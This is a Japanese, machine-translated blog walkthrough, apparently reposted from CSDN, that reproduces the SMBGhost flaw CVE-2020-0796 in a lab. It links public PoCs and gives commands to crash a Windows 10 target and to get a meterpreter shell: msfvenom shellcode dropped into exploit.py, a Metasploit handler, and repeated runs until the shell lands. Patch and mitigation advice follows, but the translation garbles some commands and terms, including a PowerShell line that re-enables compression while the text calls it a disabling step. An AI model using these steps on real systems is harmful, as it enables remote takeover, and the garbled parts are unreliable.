CVE-2020-0796(エターナルブラック)の脆弱性

CVE-2020-0796(Eternal Black)の脆弱性は、getshellを使用して詳細なプロセスを再現します

CVE-2020-0796(エターナルブラック)の脆弱性

脆弱性の原則:

SMBリモートコード実行の脆弱性

SMB 3.1.1プロトコルで圧縮メッセージを処理する場合、メッセージ内のデータのセキュリティはチェックされません。直接使用すると、メモリ破損の脆弱性が発生し、攻撃者が任意のコードをリモートで実行する可能性があります。攻撃者はこの脆弱性を利用して、許可なくリモートでコードが実行される可能性があり、ハッカーに攻撃された標的システムは、起動してオンラインにするだけで侵入される可能性があります。

Windows10およびWindowsServer 2016では、SMB3.1.1が導入されました。この脆弱性は、SMBv3が圧縮されたデータパケットを正しく処理しないという事実に起因します。データパケットを解凍するとき、クライアントから渡された長さが解凍に使用され、長さが正当であるかどうかがチェックされないため、最終的に整数になります。オーバーフロー。

この脆弱性を利用して、ハッカーはSMBサーバーを直接およびリモートで攻撃して任意の悪意のあるコードをリモートで実行したり、悪意のあるSMBサーバーを構築してクライアント接続を誘導してクライアントを大規模に攻撃したりできます。

影響を受けるバージョン:

32ビットシステム
用のWindows10バージョン
1903x64ベースシステム用のWindows10バージョン1903ARM64ベースシステム用のWindows10バージョン1903Windows
Server、バージョン1903(Server Coreインストール)
32ビットシステム
用のWindows10バージョン1909Windows10バージョン1909 x64ベースのシステム
用Windows10バージョン1909ARM64ベースのシステム用WindowsServer
バージョン1909(Server Coreインストール)

ツールのダウンロード

脆弱性検出ツール:http//dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

攻击poc:https//github.com/eerykitty/CVE-2020-0796-PoC

シェルスクリプト:https//github.com/chompie1337/SMBGhost_RCE_PoC

Windowsターゲットシステム:msdn、https://msdn.itellyou.cn/
または:https://sl-m-ssl.xunlei.com/h5/page/download-share/index.html?entry
= link&appType = PC&videobtindex = -1&storid = c39vhtrekug5&share_from = dlpage_share_link

脆弱性攻撃-ブルースクリーンの再発

周囲:

ターゲットマシン:windows10 1903 x64 ip:192.168.73.137(仮想マシン)

攻撃マシン:Windows10(物理マシン)

オペレーティング:

  1. まず、ターゲットマシンのすべてのファイアウォールをオフにし、すべてのファイアウォール設定をオフにします

  2. 攻撃側のマシンでターゲットマシンを検出して、脆弱性があるかどうかを確認します。ダウンロードした脆弱性スキャンツールを使用してツールキットパスを入力し、コマンドラインでツールを実行して脆弱性の存在を検出します。

  3. ダウンロードしたpocスクリプトを使用して攻撃を開始します

    python3 CVE-2020-0796.py 192.168.73.137
    

    スクリプトを実行する前に、いくつかのPythonファイルをダウンロードする必要があることがわかりました。pipダウンロード、プロンプトに従って対応するファイルをダウンロードします

  4. 攻撃を再開し、ターゲットマシンのブルースクリーンを見つけ、攻撃は成功しました

脆弱性-リバースシェル

周囲:

ターゲットマシン:windows10 1903 x64 ip:192.168.73.137(仮想マシン)

攻撃者:kali ip:192.168.73.131(仮想マシン)

オペレーティング:

  1. 最初に逆接続トロイの木馬を生成します

    msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b '\x00' -i 1 -f python
    

説明: 
#- pペイロード
-eエンコード方法
-iエンコード時間
-b生成されたプログラムで回避する値
LHOST、LPORTはオンラインホストIPを監視し、ポート
-f exeはEXE形式を生成します
'\ x00'エスケープascallコードのnullに対応する文字は、バイナリファイルであるため表示されます。これは、Pythonで終了の記号として使用されます。これは、%00の切り捨ての感覚に少し相当します。

  • シェルスクリプトツールのexploit.pyのuser_payloadを、生成されたシェルコードに置き換えます。図に示すように、以前の名前を保持し、コンテンツのみを置き換えます

    これはちょっとしたコツです。最初に全体を貼り付けてコピーし、次にbuf + =を1行ずつ貼り付けるのではなく、user_paloadに置き換えます。これにより、時間を大幅に節約できます。

  • msf監視モジュールを開く

    use exploit/multi/handler
    set payload windows/x64/meterpreter/bind_tcp
    set lport 8888
    set rhost 192.168.73.137
    run
    

    注:監視モジュールのポート設定は、生成されたトロイの木馬によって設定されたポートと同じであり、リバースシェルの入り口に使用されます。

  • エクスプロイト.pyスクリプトを実行して、攻撃と逆シェルを起動します

  • 実行が成功し、監視場所を確認して、シェルを正常に取得します

    このスクリプトには問題があります。シェルを取得するには、さらに数回試行する必要があるため、心配する必要はありません。このスクリプトは、ターゲットマシンをブルースクリーンに表示することがあります。ターゲットマシンを再起動し、シェルを取得するまでスクリプトを実行し続けます。
    もう1つの問題は、ターゲットシステムが自動的に更新されると、抜け穴にパッチが適用されることです。最初にスナップショットを作成するか、自動更新をオフにすることをお勧めします。

  • 修理の提案

    1. 公式パッチをインストールする

      マイクロソフトはこの脆弱性のセキュリティパッチをリリースしました。次のリンクにアクセスしてくださいhttps
      //portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

      方法1:Microsoftからの最新のパッチを対応するシステムに適用します

      システムタイプ 前書き ダウンロードリンク
      32ビットシステム用のWindows10バージョン1903 KB4551762の概要 ダウンロード
      ARM64ベースのシステム用のWindows10バージョン1903 KB4551762の概要 ダウンロード
      x64ベースのシステム用のWindows10バージョン1903 KB4551762の概要 ダウンロード
      32ビットシステム用のWindows10バージョン1909 KB4551762の概要 ダウンロード
      ARM64ベースのシステム用のWindows10バージョン1909 KB4551762の概要 ダウンロード
      x64ベースのシステム用のWindows10バージョン1909 KB4551762の概要 ダウンロード
      Windows Serverバージョン1903(Server Coreインストール) KB4551762の概要 ダウンロード
      Windows Serverバージョン1909(Server Coreインストール) KB4551762の概要 ダウンロード
    2. SMBv3圧縮を無効にする

      SMB 3.0の圧縮機能を無効にするには、自分のビジネスと組み合わせて使用​​するかどうかを判断する必要があります。
      次のPowerShellコマンドを使用して圧縮を無効にし、認証されていない攻撃者がSMBv3サーバーの脆弱性を悪用するのを防ぎます。
      Set-ItemProperty -Path "HKLM:\ SYSTEM \ CurrentControlSet \ Services \ LanmanServer \ Parameters" DisableCompression -Type DWORD -Value 1 -Force
      ユーザーは、次のPowerShellコマンドを使用して圧縮機能を無効に
      できますSet-ItemProperty -Path "HKLM:\ SYSTEM \ CurrentControlSet \ Services \ LanmanServer \ Parameters "DisableCompression -Type DWORD -Value 0 -Force
      注:上記のコマンドを使用して変更を加えた後、再起動せずに有効になります。このメソッドは、SMBサーバーに対する攻撃から保護するためにのみ使用できます。クライアント(SMBクライアント)は保護できません。

    3. 関連するポートを閉じるようにファイアウォールポリシーを設定する

      SMB TCP445ポート
      NetBIOS名解決UDP137ポート
      NetBIOSデータマップサービスUDP138ポート
      NetBIOSセッションサービスTCP139ポート

    4. IPセキュリティポリシーを介して危険なポートを保護し、batを実行してファイアウォールポリシーを追加し、危険なサービスを閉じます
      http://www.piis.cn/news/new1614.asp

おすすめ

転載: blog.csdn.net/weixin_45682070/article/details/107818559